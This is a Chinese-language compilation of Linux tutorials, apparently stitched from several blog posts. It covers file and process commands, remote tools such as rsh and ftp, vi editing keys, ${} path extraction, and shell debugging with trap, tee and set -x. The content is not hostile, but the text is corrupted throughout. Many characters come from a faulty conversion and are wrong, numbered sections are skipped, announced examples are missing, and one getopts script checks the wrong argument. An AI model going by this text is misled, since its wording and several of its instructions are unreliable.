-i : 此參數是當已經有文件名爲 f2 的文件時,若逕自使用 cp 將會將原來 f2的內容覆蓋,所以在要覆蓋以前先詢問使用者。如使用者的回答是y(yes)才執行復制的動做。

-r : 此參數是用來作遞迴複製用,可遞歸的將整個目錄都複製到另外一個目錄中。

3. mv

mv 的意義爲 move , 主要是將一文件更名或移動到另外一個目錄。與cp相似,它也有三種格式:

mv f1 f2 : 將文件名爲 f1 的文件變動成文件名爲 f2 的文件。

mv dir1 dir2 : 將文件名爲 dir1 的目錄變動成文件名爲 dir2 的目錄。

mv f1 f2 f3 ... dir : 將文件 f1 f2 f3 ... 都移至目錄 dir 裏面。

mv 的參數有兩個,-f 和 -i , 其中 -i 的意義與 cp 中的相同,均是 interactive的意思。而 -f 爲強迫( force ) , 就是無論有沒有同名的文件,反正就是要執行,全部其餘的參數遇到 -f 均會失效。

4. rm

rm 的意義是 remove ,也就是用來刪除一個文件的指令。須要注意的是,在 UNIX 中一個被刪除的文件除非是系統剛好作了備份,不然是沒法像 DOS 裏面同樣還可以恢復的。因此在作 rm 動做的時候使用者應該要特別當心。

rm 的格式以下:

rm f1 f2 f3 .....

rm 的參數比較經常使用的有幾個: -f , -i , 與 -r

-f : 將會使得系統在刪除時,不提出任何警告訊息。

-i : 在刪除文件以前均會詢問是否真要刪除。

-r : 遞歸的刪除,可用於刪除目錄。

5. mkdir

mkdir 是一個讓使用者創建一個目錄的指令。你能夠在一個目錄底下使用 mkdir 創建一個子目錄,使用的方法以下:

mkdir dirname1 [ dirname2 ... ]

8. pwd

pwd 會將當前目錄的路徑( path )顯示出來

9. cat/more/less

以上三個指令均爲察看文件內容的指令。cat 的意義是concatenate,實際就是把文件的內容顯示出來的意思。

cat 有許多奇怪的參數,較常爲人所使用的是 -n 參數,也就是把顯示出來的內容加上行號。

cat 的用法以下:

cat [-n] :自標準輸入讀取內容,能夠用 pipe 將別的指令的輸出轉向給 cat 。

cat [-n] filename : 將 filename 的內容讀進來,顯示在標準輸出上。

問題在於 cat 它是不會停下來的,所以並很差用( 試想若是一個螢幕二十四行,而一個文件四百行,cat 一出來將會噼裏啪啦不斷的捲上去,使用者很難據此獲得他們所需的信息。) 因此經常麼使用 more 和less來幫助。

more 可讓文件根據控制檯的模式一頁頁的顯示出來,再根據使用者的要求換頁或者換行。若是使用者要在某一個文件中搜尋一個特定的字符串,則按 / 而後跟着打所要搜尋的單字便可進行搜尋。

more 的使用法以下:

more filename

若是你在使用中以爲已經看到了所要看的部份,能夠按'q'離開 more 的使用。

less 的用法與 more 極相似,原先它就是爲了彌補 more 只能往前方卷頁的缺點而設計。

Less 的用法以下:

less filename

它與 more 不一樣的是它能夠按 y 來往上卷一行,而且能夠用"?"來往回搜尋你所要找的字符。

10. chmod

chmod用來改變文件存取模式( change mode ) 。在linux中,一個文件有可讀(r)可寫(w)可執行(x)三種模式,分別針對該文件的擁有者( onwer )、同組用戶( group member )(能夠 ls -lg來觀看某一文件的所屬的 group ),以及其餘人( other )。

一個文件若是改爲可執行模式則系統就將其視爲一個可執行文件,而一個目錄的可執行模式表明使用者有進入該目錄之權利。

chmod使用方式以下:

chmod [ -fR ] mode filename ...

其參數的意義以下:

-f Force. chmod 不會理會失敗的動做。

-R Recurive. 會將目錄下全部子目錄及文件改成你所要改爲的模式。

關於 Process 處理的指令:

1. ps

ps 是用來顯示目前你的 process 或系統 processes 的情況。

其選項說明以下:

-a 列出包括其餘 users 的 process 情況。

-u 顯示 user - oriented 的 process 情況 。

-x 顯示包括沒有 terminal 控制的 process 情況 。

-w 使用較寬的顯示模式來顯示 process 情況 。

咱們能夠經由 ps 取得目前 processes 的情況,如 pid , running state 等。

2. kill

kill 指令的用途是送一個 signal 給某一個 process 。由於大部份送的都是用來殺掉 process 的 SIGKILL 或 SIGHUP,所以稱爲kill 。

kill 的用法爲:

kill [ -SIGNAL ] pid ...

kill -l

SIGNAL 爲一個 singal 的數字,從 0 到 31 ,其中 9 是 SIGKILL ,也就是通常用來殺掉一些沒法正常 terminate 的信號。

也能夠用 kill -l 來察看可代替 signal 號碼的數字。

關於字符串處理的指令:

1. echo

echo 是用來顯示一字符串在標準輸出上。echo -n 則表示當顯示完以後不執行換行操做。

2. grep

grep 爲一過濾器,它可自一個或多個文件中過濾出具備某個字符串的行,或是從標準輸入過濾出具備某個字符串的行。

 grep的用法以下:

grep [-nv] match_pattern file1 file2 ....

-n 把所找到的行在行前加上行號列出

-v 把不包含 match_pattern 的行列出

match_pattern 所要搜尋的字符串

-f 以 pattern_file 存放所要搜尋的字符串

聯機查詢的指令:

1. man

man 是手冊 ( manual ) 的意思。 UNIX 提供線上輔助( on-line help )的功能,man 就是用來讓使用者在使用時查詢指令、系統調用、標準庫函數、各類表格等的使用所用的。

man 的用法以下:

man [-M path] [[section] title ] .....

man [-M path] -k keyword ...

-M path man 所須要的 manual database 的路徑。咱們也能夠用設定環境變數 MANPATH 的方式來取代 -M 選項。

title 這是所要查詢的目標。

section 用一個數字表示 manual 的分類,一般 1 表明可執行指令,2 表明系統調用( system call ) ,3 表明標準庫函數,等等。

 man 在 UNIX 上是一項很是重要的指令,咱們在這裏所描述的用法僅僅只是一個你們比較經常使用的用法以及簡單的說明,真正詳細的用法與說明仍是要經過使用 man 來獲得。

2. who

who 指令是用來查詢目前有那些人在線上。

3. info

       info的查詢與man相似。

網絡運用指令:

1. telnet

telnet 是一個提供 user 經過網絡連到 remote host。

telnet 的 格式以下:

telnet [ hostname | ip-address ] [ port ]

hostname 爲一個像 ccsun1 或是 ccsun1.cc.nctu.edu.tw 的 name address,ip-address 則爲一個由四個小於 255 的數字組成的 ip address ,

2. ftp

ftp 的意義是 File Transfer Program ,是一個很經常使用的在網路文件傳輸的軟件。

ftp 的格式以下:

ftp [ hostname | ip-address ]

其中 hostname | ip-address 的意義跟 telnet 中的相同。

在進入 ftp 以後,若是與 remote host 鏈接上了,它將會詢問你 username 與密碼,若是輸入對了就能夠開始進行文件傳輸。

在 ftp 中有許多的命令,這裏僅列出較經常使用的 cd , lcd , mkdir , put , mput , get , mget , binary , ascii , prompt , help 與 quit 的使用方式。

ascii 將傳輸模式設爲 ascii 模式。一般用於傳送文字文件。

binary 將傳輸模式設爲 binary 模式,一般用於傳送執行文件,壓縮文件與影像文件等。

cd remote-directory 將 remote host 上的工做目錄改變。

lcd [ directory ] 更改 local host 的工做目錄。

ls [ remote-directory ] [ local-file ] 列出 remote host 上的文件。

get remote-file [ local-file ] 取得登錄機的文件。

mget remote-files 可以使用通用字符一次取得多個文件。

put local-file [ remote-file] 將 local host 的文件送到 remote host。

mput local-files 可以使用通用字符一次將多個文件放到 remote host 上。

help [ command ] 線上輔助指令。

mkdir directory-name 在 remote host 新建一個目錄。

prompt 更改交談模式,若爲 on 則在 mput 與 mget 時每作一個文件傳輸時均會詢問。

Exit/quit離開ftp

3.rlogin命令

rlogin 是「remote login」(遠程登陸)的縮寫。該命令與telnet命令很類似,容許用戶啓動遠程系統上的交互命令會話。

rlogin 的通常格式是:

rlogin [ -8EKLdx ] [ -e char ] [-k realm ] [ - l username ] host

通常最經常使用的格式是:

rlogin host

該命令中各選項的含義爲:

   -8 此選項始終容許8位輸入數據通道。該選項容許發送格式化的ANSI字符和其餘的特殊代碼。若是不用這個選項,除非遠端的終止和啓動字符不是或,不然就去掉奇偶校驗位。

-E 中止把任何字符看成轉義字符。當和-8選項一塊兒使用時,它提供一個徹底的透明鏈接。

-K 關閉全部的Kerberos確認。只有與使用Kerberos 確認協議的主機鏈接時才使用這個選項。

-L 容許rlogin會話在litout模式中運行。要了解更多信息,請查閱tty聯機幫助。

-d 打開與遠程主機進行通訊的TCP sockets的socket調試。要了解更多信息,請查閱setsockopt的聯機幫助。

-e 爲rlogin會話設置轉義字符,默認的轉義字符是「~」,用戶能夠指定一個文字字符或一個\\nnn形式的八進制數。

-k 請求rlogin得到在指定區域內的遠程主機的Kerberos許可,而不是得到由krb_realmofhost(3)肯定的遠程主機區域內的遠程主機的Kerberos 許可。

-x 爲全部經過rlogin會話傳送的數據打開DES加密。這會影響響應時間和CPU利用率,可是能夠提升安全性。

4.rsh命令

rsh是「remote shell」(遠程 shell)的縮寫。 該命令在指定的遠程主機上啓動一個shell並執行用戶在rsh命令行中指定的命令。若是用戶沒有給出要執行的命令,rsh就用rlogin命令使用戶登陸到遠程機上。

rsh命令的通常格式是:

          rsh [-Kdnx] [-k realm] [-l username] host [command]

通常經常使用的格式是:

         rsh host [command ]

         command能夠是從shell提示符下鍵人的任何Linux命令。

      rsh命令中各選項的含義以下:

    -K 關閉全部的Kerbero確認。該選項只在與使用Kerbero確認的主機鏈接時才使用。

    -d 打開與遠程主機進行通訊的TCP sockets的socket調試。要了解更多的信息,請查閱setsockopt的聯機幫助。

    -k 請求rsh得到在指定區域內的遠程主機的Kerberos許可,而不是得到由krb_relmofhost(3)肯定的遠程主機區域內的遠程主機的Kerberos許可。

    -l 缺省狀況下,遠程用戶名與本地用戶名相同。本選項容許指定遠程用戶名,若是指定了遠程用戶名,則使用Kerberos 確認,與在rlogin命令中同樣。

    -n 重定向來自特殊設備/dev/null的輸入。

-x 爲傳送的全部數據打開DES加密。這會影響響應時間和CPU利用率,可是能夠提升安全性。

Linux把標準輸入放入rsh命令中,並把它拷貝到要遠程執行的命令的標準輸入中。它把遠程命令的標準輸出拷貝到rsh的標準輸出中。它還把遠程標準錯誤拷貝到本地標準錯誤文件中。任何退出、停止和中斷信號都被送到遠程命令中。當遠程命令終止了,rsh也就終止了。

5.rcp命令

rcp表明「remote file copy」(遠程文件拷貝)。該命令用於在計算機之間拷貝文件。

rcp命令有兩種格式。第一種格式用於文件到文件的拷貝;第二種格式用於把文件或目錄拷貝到另外一個目錄中。

   rcp命令的通常格式是:

            rcp [-px] [-k realm] file1 file2 rcp [-px] [-r] [-k realm] file

   directory 每一個文件或目錄參數既能夠是遠程文件名也能夠是本地文件名。遠程文件名具備以下形式:rname@rhost:path,其中rname是遠程用戶名,rhost是遠程計算機名,path是這個文件的路徑。

   rcp命令的各選項含義以下:

   -r 遞歸地把源目錄中的全部內容拷貝到目的目錄中。要使用這個選項,目的必須是一個目錄。

     -p 試圖保留源文件的修改時間和模式,忽略umask。

   -k 請求rcp得到在指定區域內的遠程主機的Kerberos 許可,而不是得到由krb_relmofhost(3)肯定的遠程主機區域內的遠程主機的Kerberos許可。

     -x 爲傳送的全部數據打開DES加密。這會影響響應時間和CPU利用率,可是能夠提升安全性。 若是在文件名中指定的路徑不是完整的路徑名,那麼這個路徑被解釋爲相對遠程機上同名用戶的主目錄。若是沒有給出遠程用戶名,就使用當前用戶名。若是遠程機上的路徑包含特殊shell字符,須要用反斜線(\\)、雙引號(」)或單引號(’)括起來,使全部的shell元字符都能被遠程地解釋。 須要說明的是,rcp不提示輸入口令,它經過rsh命令來執行拷貝。

Vi經常使用技巧

l        取消命令

在vi中,只要沒有把修改結果存入磁盤文件中,那麼就能夠經過「取消」來撤銷最近的操做或對緩衝區的修改。

假設你無心刪除了一行文本、改變了一些你不該該改變的內容或增長了一些不正確的文本,能夠按<Esc>改變到命令模式中,而後按<u>,則文件內容恢復到修改前的樣子。

l        保存到文件名爲filename的文件中

發出寫命令格式:   :w filename

l        不使用小鍵盤來定位光標

vi用<h>、<j>、<k>、<l>鍵來定位光標。其中<h>、<l>鍵表示光標的左右移動,<j>、<k>鍵表示光標的上下移動,在某些沒有或不能使用小鍵盤的狀況下這四個鍵是頗有用的。

下面是其餘一些用於移動光標的鍵:

n        按空格鍵或<l>向右移動光標一個位置

n        按<Return>將光標移動到下一行的行首

n        使用<j>鍵將光標移動到下一行的當前位置或行末

n        按<->將光標移動到上一行行首

n        使用<k>鍵將光標移動到上一行的當前位置或行末

n        按<h>將光標向左移動一個字符

n        按<0>(零)將光標移動到一行的行首

n        按<$>將光標移動到一行的行末

l        大範圍移動鍵

可快速定位光標到屏幕的頂部、中部和底部:

n        按<Shift-h>將光標移到屏幕的第一行,有時稱爲home位置

n        按<Shift-m>將光標移到如今屏幕顯示的各行的中間一行

n        按<Shift-l>將光標移到屏幕的最後一行

n        按<Ctrl-f>向前移動一屏

n        按<Ctrl-b>向後移動一屏

n        要移動到緩衝區中指定的行中,在按<Shift-g>前鍵入行號(注意,這裏的行號不是當前屏幕中的相對行號,而是絕對行號)

l        刪除文本

n        <x>刪除光標處的字符

n        <d> <w> 刪除從當前字的光標處到下一個字的開始處之間的內容

n        <d> <$> 刪除從光標處到行尾之間的內容

n        <Shift-d> 同<d> <$>,刪除當前行的剩餘部分

n        <d> <d> 刪除整行,無論光標在該行的位置

n        經過在上述命令以前鍵入一個整數,可將這些命令應用到幾個對象中,例如:<4> <x>刪除4個字符;<8> <d> <d> 刪除8行

l        添加文本

n        使用<i>在光標位置前插入文本

n        使用<Shift-i>使你進入輸入模式而且在當前行行首插入文本

n        使用<a>在光標位置後插入文本

n        使用<Shift-a>使你進入輸入模式而且在當前行末尾插入文本

n        使用<o>在當前行的下面打開一行以添加文本

n        使用<Shift-o>在當前行的上面打開一行以添加文本

l        使vi顯示行號

按<Esc>鍵以確保你在命令模式中,而後輸入:se number。要關閉行號,輸入:se nonumber

l        查找

n        /string     在緩衝區中向前查找字符串string

n        ?string    在緩衝區中向後查找字符串string

n        <n>        以當前的方向再次查找

n        <Shift-n>以相反的方向再次查找

n        注意,查找的字符串中若含有特殊字符的,要使用\來進行轉意

l        修改和替換文本

n        <r> 替換單個字符

n        <Shift-r>替換一個字符序列

n        <c> <w>修改當前字,從光標處到這個字的字尾

n        <c> <e>修改當前字,從光標處到這個字的字尾(與<c> <w>相同)

n        <c> <b>修改當前字,從該字的字頭到光標之前的那些字符

n        <c> <$>修改一行,從光標處到該行的行尾

n        <Shift-c>修改一行,從光標處到該行的行尾(與<c> <$>相同)

n        <c> <c>修改整行

n        注意,這些命令的每一個命令都使之進入了輸入模式。除使用<r>來替換單個字符外,必須按<Esc>鍵來完成所做的修改並返回命令模式

n        要修改幾個字,在按<c> <w>以前使用一個整數

l        拷貝、剪切和粘貼

n        <y> <w>拷貝從當前字的光標處到下一個字的開始處之間的內容

n        <y> <$>拷貝從光標處到行尾之間的內容

n        <Shift-y>拷貝當前行的剩餘部分(與<y> <$>相同)

n        <y> <y>拷貝整個當前行

n        經過在這些命令前鍵入整數,全部這些命令均可以用於多個對象。

n        當刪除或剪切或拷貝時,刪除或拷貝的對象被保存在通用緩衝區中,能夠使用<p>或<Shift-p>命令將這個緩衝區中的內容粘貼到光標位置。

n        <p>命令將對象粘貼到光標位置右邊或光標位置後面

n        <Shift-p>命令將對象粘貼到光標位置左邊或光標位置前面

l        重複命令

能夠按< . >來重複改變緩衝區的最後一個命令。

 

 

 

不少時候在使用Linux的shell時,咱們都須要對文件名或目錄名進行處理,一般的操做是由路徑中提取出文件名,從路徑中提取出目錄名,提取文件後綴名等等。例如,從路徑/dir1/dir2/file.txt中提取也文件名file.txt,提取出目錄/dir1/dir2,提取出文件後綴txt等。

下面介紹兩種經常使用的方法來進行相關的操做。

1、使用${}
一、${var##*/}
該命令的做用是去掉變量var從左邊算起的最後一個'/'字符及其左邊的內容,返回從左邊算起的最後一個'/'(不含該字符)的右邊的內容。使用例子及結果以下:

從運行結果能夠看到,使用該命令,能夠提取出咱們須要的文件名file.txt。

若使用時在shell程序文件中,能夠使用變量來保存這個結果,再加以利用,如file=${var##*/}

二、${var##*.}
該命令的做用是去掉變量var從左邊算起的最後一個'.'字符及其左邊的內容,返回從左邊算起的最後一個'.'(不含該字符)的右邊的內容。使用例子及結果以下:

從運行結果能夠看到,使用該命令,能夠提取出咱們須要的文件後綴。

若是文件的後綴不只有一個,例如,file.tar.gz,命令${var##*.}僅能提取最後一個後綴,而我想提取tar.gz時該怎麼辦?那麼就要用下面所說的${var#*.}命令了。

三、${var#*.}
該命令的做用是去掉變量var從左邊算起的第一個'.'字符及其左邊的內容,返回從左邊算起第一個'.'(不含該字符)的右邊部分的內容。使用例子及結果以下:

從運行結果能夠看到,使用該命令,能夠提取出文件的多個後綴。

四、${var%/*}
該命令的使用是去掉變量var從右邊算起的第一個'/'字符及其右邊的內容,返回從右邊算起的第一個'/'(不含該字符)的左邊的內容。使用例子及結果以下:

從運行的結果能夠看到,使用該命令,能夠提取出咱們須要的文件所在的目錄

五、${var%%.*}
該命令的使用是去掉變量var從右邊算起的最後一個'.'字符及其右邊的內容,返回從右邊算起的最後一個'.'(不含該字符)的左邊的內容。使用例子及結果以下:

當咱們須要創建一個與文件名相同名字(沒有後綴)的目錄與對應的文件相對應時,就能夠使用該命令來進行操做。例如,解壓文件的狀況就與此相似,咱們壓縮文件file.zip時,會在與file.zip同級目錄下創建一個名爲file的目錄。

六、${}總結
其實${}並非專門爲提取文件名或目錄名的,它的使用是變量的提取和替換等等操做,它能夠提取很是多的內容,並不必定是上面五個例子中的'/'或'.'。也就是說,上面的使用方法只是它使用的一個特例。

看到上面的這些命令,可能會讓人感到很是難以理解和記憶,其實否則,它們都是有規律的。
#:表示從左邊算起第一個
%:表示從右邊算起第一個
##:表示從左邊算起最後一個
%%:表示從右邊算起最後一個
換句話來講,#老是表示左邊算起,%老是表示右邊算起。

*:表示要刪除的內容,對於#和##的狀況,它位於指定的字符(例子中的'/'和'.')的左邊,表於刪除指定字符及其左邊的內容;對於%和%%的狀況,它位於指定的字符(例子中的'/'和'.')的右邊,表示刪除指定字符及其右邊的內容。這裏的'*'的位置不能互換,即不能把*號放在#或##的右邊,反之亦然。

例如:${var%%x*}表示找出從右邊算起最後一個字符x,並刪除字符x及其右邊的字符。

看到這裏,就能夠知道,其實該命令的用途很是普遍,上面只是指針文件名和目錄名的命名特性來進行提取的一些特例而已。

2、basename和dirname
${}並非專門爲提取文件名和目錄名設計的命令,那麼basename和dirname命令就是專門爲作這一件事而已準備的了。

一、basename
該命令的做用是從路徑中提取出文件名,使用方法爲basename NAME [SUFFIX]。

1)從路徑中提出出文件名(帶後綴),例子以下:

2)從上面命令的用法中能夠看到,後綴(SUFFIX)是一個可選項。因此,若只想提取出文件名file,而不帶有後綴,還能夠在變量的後面加上後綴名,例子以下:

二、dirname
該命令的做用是從路徑中提取出目錄名,使用方法爲 dirname NAME
使用例子以下:

這樣就提取出了file.txt文件所在的目錄。

注:該命令不只能提取出普通文件所的目錄,它能提取出任何文件所在的目錄,例如目錄所在的目錄,以下:

它提取出了目錄dir2所在的目錄dir1

shell淺談之十二shell調試及主題簡介

       Shell中不存在調試器,對腳本中產生的語法錯誤只會產生模糊的錯誤提示信息。shell中也常常存在隱澀的邏輯錯誤,使得腳本沒法按照程序員的意願運行。所以shell腳本的調試有了很大的難度。好的編程風格和習慣也是爲了減少調試程序的難度。

2、詳解

一、Shell調試技術

      Shell腳本調試就是發現引起腳本錯誤的緣由以及在腳本源代碼中定位發生錯誤的行,經常使用的手段包括分析輸出的錯誤信息、經過在腳本中加入調試語句、輸出調試信息來輔助診斷錯誤、利用調試工具等。

(1)shell錯誤

       Shell腳本的錯誤能夠分爲兩類,第一類是Shell腳本中存在的語法錯誤,這種比較直觀,只要定位發生錯誤的代碼段或行,好比漏寫關鍵字、漏寫引號、空格符該有而未有、變量大小寫不區分等;第二類是Shell腳本可以執行完畢,但並非按照咱們所指望的方式運行,即存在邏輯錯誤,這種比較隱晦,並不影響腳本的正常執行。

 [cpp] view plain copy

  1. #!/bin/bash  
  2. count=1  
  3. MAX=5  
  4.   
  5. while [ "$SECONDS" -le "$MAX" ];do  
  6.   echo "This is the $count time to sleep."  
  7.   count=$count+1  
  8.   ###正確應是: let count=$count+1,把count看成整數處理  
  9.   sleep 2  
  10. done  
  11.   
  12. echo "The running time of this script is $SECONDS"  
[cpp] view plain copy
  1. #!/bin/bash  
  2.   
  3. Var1=56  
  4. Var2=865  
  5.   
  6. let Var3=Var1*var2  
  7. ###正確的是:   let Var3=Var1*Var2,未區分大小寫字母,變量var2=0  
  8. echo "$Var1*$Var2=$Var3"  
(2)shell調試技術之一:trap命令

       trap命令是linux內建命令,用於捕捉信號。trap命令能夠指定收到某種信號時所執行的命名,格式爲:trap command sig1 sig2 ... sigN。

       Shell腳本執行會產生三個所謂的「僞信號」(由於這三個信號是shell產生的,而其餘信號是由操做系統產生的),能夠利用trap命令捕獲這三個「僞信號」。它們分別是EXIT、ERR和DEBUG,其產生條件以下表:

      trap命令經過捕捉三種「僞信號」能方便地隨時監控變量的變化、正常函數和腳本的結束、跟蹤異常的函數和命令。

[cpp] view plain copy
  1. #利用trap命令捕捉DEBUG信號跟蹤變量值  
  2. #!/bin/bash  
  3.   
  4. trap 'echo "before execute line:$LINENO, a=$a,b=$b,c=$c"' DEBUG  #LINENO是shell內部變量,打印執行命令的行號  
  5. a=0  
  6. b=2  
  7. c=100  
  8. while :                            #冒號至關於TRUE  
  9. do  
  10.     if ((a >= 10))                 #i大於等於10時,跳出while循環  
  11.     then  
  12.         break  
  13.     fi  
  14. echo "*************"  
  15. let "a=a+2"  
  16. let "b=b*2"  
  17. let "c=c-10"  
  18. done  

       上圖爲部分輸出截圖,其中因爲trap命令的存在,每執行一行命名前都輸出a、b、c三個變量的值。執行第5行a=0前捕捉到DEBUG信號,打印未初始化的三個變量的值。trap、do、then、done、fi都無DEBUG信號發出。

       利用trap命令捕獲DEBUG信號,只需一條trap語句就能夠完成對相關變量的全程跟蹤,分析運行結果能夠看到整個腳本的執行軌跡,判斷哪些條件分支執行了哪些條件分支沒有執行。

[cpp] view plain copy
  1. #利用trap命令捕捉EXIT信號跟蹤函數結束  
  2. #!/bin/bash  
  3.   
  4. fun1()  
  5. {  
  6.   echo "This is an correct function"  
  7.   var=2010  
  8.   return 0              #return不發送EXIT信號  
  9. }  
  10. trap 'echo "Line:$LINENO,var=$var"' EXIT  
  11. echo "*************"  
  12. fun1  
  13. echo "------------"  
  14. exit 0              #發送EXIT信號,執行結果: Line:1,var=2010  
[cpp] view plain copy
 
 
  1. #trap捕捉ERR信號跟蹤函數或命名異常,一條命令返回非零狀態碼時即執行不成功  
  2. #!/bin/bash  
  3.   
  4. fun2()  
  5. {  
  6.   echo "This is an error function"  
  7.   var=2010  
  8.   return 1               #非零被認爲是異常函數,產生ERR信號  
  9. }  
  10. trap 'echo "Line:$LINENO,var=$var"' ERR  
  11. fun2  
  12. ipconfig                 #錯誤的命令,正確是ifconfig,產生ERR信號  

(3)shell調試技術之二:tee命令

      tee命令產生的數據流向字母T,將一個輸出分爲兩個支流,一個到標準輸出另外一個到某輸出文件。tee的特性能夠使用到shell的管道及輸入/輸出重定向的調試上,使用管道時,其中間結果不會顯示在屏幕上,若管道鏈接的一系列命名的執行並不是預期結果,則調試出現困難,此時就得藉助於tee命名。

      利用tee命令得到機器的IP地址(很是實用)。

[cpp] view plain copy
  1. #!/bin/bash  
  2.   
  3. localIP=`cat /etc/sysconfig/network-scripts/ifcfg-p4p1 | tee debug.log | grep 'IPADDR' | tee -a debug.log | cut -d= -f2 | tee -a debug.log`  
  4. echo "The local IP is: $localIP"  
[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. localIP=`ifconfig | grep 'inet addr' | grep -v '127.0.0.1' | cut -d: -f3 | awk '{print $1}'`  
  4. echo "The local IP is: $localIP"  

      在當前目錄下會產生debug.log文件,tee -a追加到文件,所以debug.log保存了處理的信息,查看文件瞭解管道間的數據流向。

      tee命令適用於管道的調試,觀察tee命令產生的中間結果文件,能夠清晰地看出管道間的數據流向。

(4)shell調試技術之三:調試鉤子

      調試鉤子也稱爲調試塊,其實是if/then結構的代碼塊,在程序開發調試階段將DEBUG設置成TRUE,到發佈階段將DEBUG設置成FALSE,關閉調試鉤子,無須刪除代碼。調試鉤子的代碼:

 

[cpp] view plain copy
 
 
  1. DEBUG()  
  2. {  
  3.   if [ "$DEBUG" = "true" ]  
  4.   then  
  5.     echo "Debugging information:"  
  6.   fi  
  7. }  
      調試鉤子中DEBUG是一個全局變量,開發調試階段,可利用export DEBUG=true命令將DEBUG設置成true,執行調試信息。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. DEBUG()  
  4. {  
  5.   if [ "$DEBUG" = "true" ]  
  6.   then  
  7.     $@                         #輸出全部參數信息與$*等價  
  8.   fi  
  9. }  
  10.   
  11. a=0  
  12. b=2  
  13. c=100  
  14. DEBUG echo "a=$a b=$b c=$c"    #第1個調試鉤子  
  15. while :                           
  16. do  
  17.   DEBUG echo "a=$a b=$b c=$c"  #第2個調試鉤子  
  18.   if ((a >= 10))                 #當a大於等於10時,跳出while循環  
  19.  then  
  20.         break  
  21.     fi  
  22.   
  23. let "a=a+2"                       #a、b、c值不斷變化  
  24. let "b=b*2"  
  25. let "c=c-10"  
  26. done  

(5)shell調試技術之四:shell選項

利用set命令開啓和關閉shell選項的方法,不用修改源代碼便可輸出相關的調試信息。用於腳本的調試選項是-n、-x和-c。

      Shell腳本編寫完成後,使用-n選項來測試腳本是否存在語法錯誤是一個很好的習慣。由於實際執行腳本會對系統環境產生影響,則執行時發現語法錯誤還得作一系列的系統環境的恢復工做,才能繼續測試腳本。腳本中開啓-n選項,使用set -n或set -o noexec,腳本會檢測語法並不執行。也能夠利用sh命名直接對腳本進行語法檢查:sh -n 腳本名。

      -x選項用來跟蹤腳本的執行,把實際執行的每一條命令行顯示出來,並在行首顯示一個「+」符號,「+」符號後面顯示的是通過了變量替換以後的命名行內容,有助於分析實際執行的命令。-x選項常常與trap捕捉DEBUG信號結合使用,這樣既能夠輸出實際執行的每一條命令又能夠逐行跟蹤相關變量的值,對調試有很大的幫助。可在腳本內使用set -x或使用sh -x執行腳本。

     -x選項以「+」做爲提示符表示調試信息,顯得美中不足,能夠經過shell提供的三個有用的內部變量定製-x選項的提示符。設置PS4使得-x提示符能包含LINENO和FUNCNAME等豐富的信息。

 

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. isroot()           #判斷執行腳本的用戶是不是root  
  4. {  
  5.     if [ "$UID" -ne 0 ]  
  6.   then  
  7.     return 1  
  8.   else  
  9.     return 0  
  10.   fi  
  11. }  
  12.   
  13. echoroot()  
  14. {  
  15.     isroot                #調用函數  
  16.   if [ "$?" -ne 0 ]  
  17.   then  
  18.     echo "I am not ROOT user!"  
  19.   else  
  20.     echo "ROOT user!"  
  21.   fi  
  22. }  
  23.   
  24. export PS4='+{$LINENO:${FUNCNAME[0]}:${FUNCNAME[1]}}'   #對PS4變量從新賦值  
  25. echoroot  
      -c選項做用是使用shell解釋器從一個字符串中而不是文件中讀取並執行shell命名,僅用於臨時測試一小段腳本的執行結果,而在shell命令行直接輸入也會達到相同效果,所以使用頻率不高。如sh -c 'a=2;b=2012;let c=$a*$b;echo "c=$c"',命令間用分號分隔。

二、Shell主題

(1)Shell說明和用戶提示信息

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. flag=0;  
  4.   
  5. echo "This script is used to username and password what you input is right or wrong. "  
  6.   
  7. for ((i=0 ; i < 3 ; i++))  
  8. do  
  9.     echo -n "Please input your name: "  
  10.     read username  
  11.   
  12.     echo -n "Please input your password: "  
  13.     read password  
  14.   
  15.     if test "$username" = "user" -a "$password" = "pwd"   
  16.     then  
  17.         echo "login success"  
  18.         flag=1  
  19.         break  
  20.     else   
  21.         echo "The username or password is wrong!"  
  22.     fi  
  23. done  
  24.   
  25. if [ "$flag" -eq "0" ]  
  26. then  
  27.     echo "You have tried 3 times. Login fail!"  
  28. fi  
(2)Shell特殊命令,shift和getopts

      shift命令主要用於向腳本傳遞參數時每次將參數位置向左偏移一位。

      使用shift顯示全部的命令行參數:

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. echo "number of arguments is $#"  
  4.   
  5. echo "What you input is: "  
  6.   
  7. while [[ "$*" != "" ]]  #等價於while [ "$#" -gt 0 ]  
  8. do  
  9.     echo "$1"  
  10.     shift  
  11. done  
       Shell中提供了一條獲取和處理命令行選項的getopts語句,使得控制多個命令行參數更加容易。格式爲getopts option variable,option中包含一個有效的單字符選項。若getopts命令在命令行中發現了連字符,那麼命名將用連字符後面的字符與option相比較,若匹配成功則 把變量variable值設爲該選項,若匹配不成功,則variable設爲「?」。當getopts發現連字符後面沒有字符後會返回一個非零的狀態值。

      有時有必要在腳本中指定命令行選項取值,getopts提供了一種方式,在option中將一個冒號放在選項後,如getopts ab: variable表示-a後能夠不加實際值進行傳遞,而-b後必須取值,若是試圖不取值傳遞此選項,會返回一個錯誤信息。有時錯誤信息提示並不明確,須要本身定義提示信息屏蔽它,那麼將冒號放在option的開始部分,如getopts :ab: variable。

[cpp] view plain copy
 
 
  1. #!/bin/bash  
  2.   
  3. while getopts ":fh:" optname   
  4.  do         
  5.       case "$optname" in  
  6.       f)  
  7.              echo "Option $optname is specified"  
  8.             ;;  
  9.        h)  
  10.              echo "Option $optname has value $OPTARG"  
  11.              ;;  
  12.       \?)  
  13.              echo "Unknown option $OPTARG"  
  14.              ;;  
  15.        :)  
  16.              echo "No parameter value for option $OPTARG"  
  17.              ;;  
  18.        *)  
  19.            echo "Unknown error while processing options"  
  20.              ;;  
  21.         esac  
  22.  done  
  23.   
  24. shift $(($OPTIND - 1))  
  25.   
  26. for options in "$@"  
  27. do  
  28.     if [ ! -f $2 ]  
  29.     then  
  30.         echo "Can not find file $options . "  
  31.     else  
  32.         echo "Find the file $options . "  
  33.     fi  
  34. done  

-f用於判斷輸入的第二哥命令行參數是否爲文件,而-h後必須取值。

(3)Shell中/dev文件系統

       Shell中存在僞文件系統/dev,該文件系統包含每一個物理設備對應的文件。若需掛載物理設備或虛擬物理設備則可經過操做/dev完成。/dev/null和/dev/zero是兩個特殊的僞設備,它們是虛擬的僅僅存在於軟件的虛擬設備中。

